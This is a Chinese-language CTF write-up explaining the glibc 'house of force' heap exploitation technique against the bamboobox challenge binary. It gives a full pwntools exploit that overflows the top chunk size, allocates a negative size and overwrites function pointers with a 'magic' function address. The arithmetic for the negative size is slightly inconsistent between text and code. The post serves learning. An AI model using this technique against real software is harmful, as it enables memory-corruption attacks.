house of force, 以bamboobox为例

前言

这两天学习了一下pwn堆溢出的house of force类型。现在来以之前做过的unlink例题bamboobox来巩固一下。

house of force原理

首先明确一个认知,存在一个top chunk,是初始化的堆块,所有的堆均由top chunk开辟空间。设想如果我们想操纵一个已经初始化的堆块chunk 0,而当前我们位于chunk N,该如何做到?假如能够通过堆溢出,修改top chunk的size值,绕过安全检查,然后malloc一个负数size的chunk,使top chunk的位置发生变化,接着再malloc一个新的chunk使其恰好为chunk 0的位置,则做到了操纵目的。

Ida界面

magic

主要是利用此程序提供的magic函数来进行写get flag,如图:

magic

show

该程序在初始化时,定义了一个函数指针结构体,分别存储欢迎信息函数和再见信息函数,在退出时会调用再见函数。

show_zip

逻辑梳理

注意到在show函数里,函数指针结构体在内存里是一个堆,相当于chunk 0,所以利用house of force方法,我们通过新增chunk溢出top chunk,修改top chunk的位置,使下一次malloc的chunk为chunk 0,再修改chunk 0的两个函数地址为magic函数的地址。最后退出程序,打印出flag。值得注意的是,需要在/home/bamboobox下存在flag文件,这一点让我搞了很久才意识到这个问题,调试的时候百思不得其解,明明构造成功却没有shell。最后我才反应过来,新建了flag文件,而不是get shell。

Exp

from pwn import *
#r=remote("node4.buuoj.cn",27518)
r=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"
def alloc(length,context):
r.recvuntil("Your choice:")
r.sendline("2")
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the name of item:")
r.send(context)
print "please input"
pause()

def edit(idx,length,context):
r.recvuntil("Your choice:")
r.sendline("3")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the new name of the item:")
r.send(context)

def free(idx):
r.recvuntil("Your choice:")
r.sendline("4")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))

def show():
r.sendlineafter("Your choice:", "1")

def exit():
r.recvuntil("choice:")
r.sendline("5")
print "pid is " + str(proc.pidof(r))
alloc(0x30,'aaaa')
payload='a'*0x30+p64(0)+p64(0xffffffffffffffff)
edit(0,0x40,payload)
magic=elf.symbols['magic']
log.info("magic_addr:0x%x",magic)
malloc_size = -(0x60 + 10)
alloc(malloc_size,'aaaa')
alloc(0x10,p64(magic)*2)
exit()
r.interactive()

调试界面

我们使用gdb attach pid号,首先查看heap地址:

vmmap

接着查看该地址的布局

heap

这里已经先分配了大小为0x30的chunk 1,即alloc(0x30,’aaaa’)。位于0x11c9068的数据即为top chunk的size。接着我们构造大小为0x40的payload修改这个size以绕过检查。

overflow

after

可以看到size已经被修改成了一个很大的数,然后构造负数size的chunk,移动top chunk到chunk 0的位置,这里的负数size = top chunk - chunk 0 - 0x10。即0x11c9060 - 0x11c9000 -0x10,这里的0x10是chunk头固定的大小。在下一次malloc分配时会被占用,所以需要减去。即malloc_size = -(0x60 + 10)。

最后,覆盖chunk 0的数据为magic地址,可以看到覆盖成功,0x400d49是magic函数的地址:

overflow_magic

最后退出程序,get flag,打印出了/home/bamboobox/flag的内容:

flag

总结

最近也算是堆入门了,啃下了堆这块硬骨头。以后还有更多需要学习。

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2021/09/21/house of force, 以bamboobox为例/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog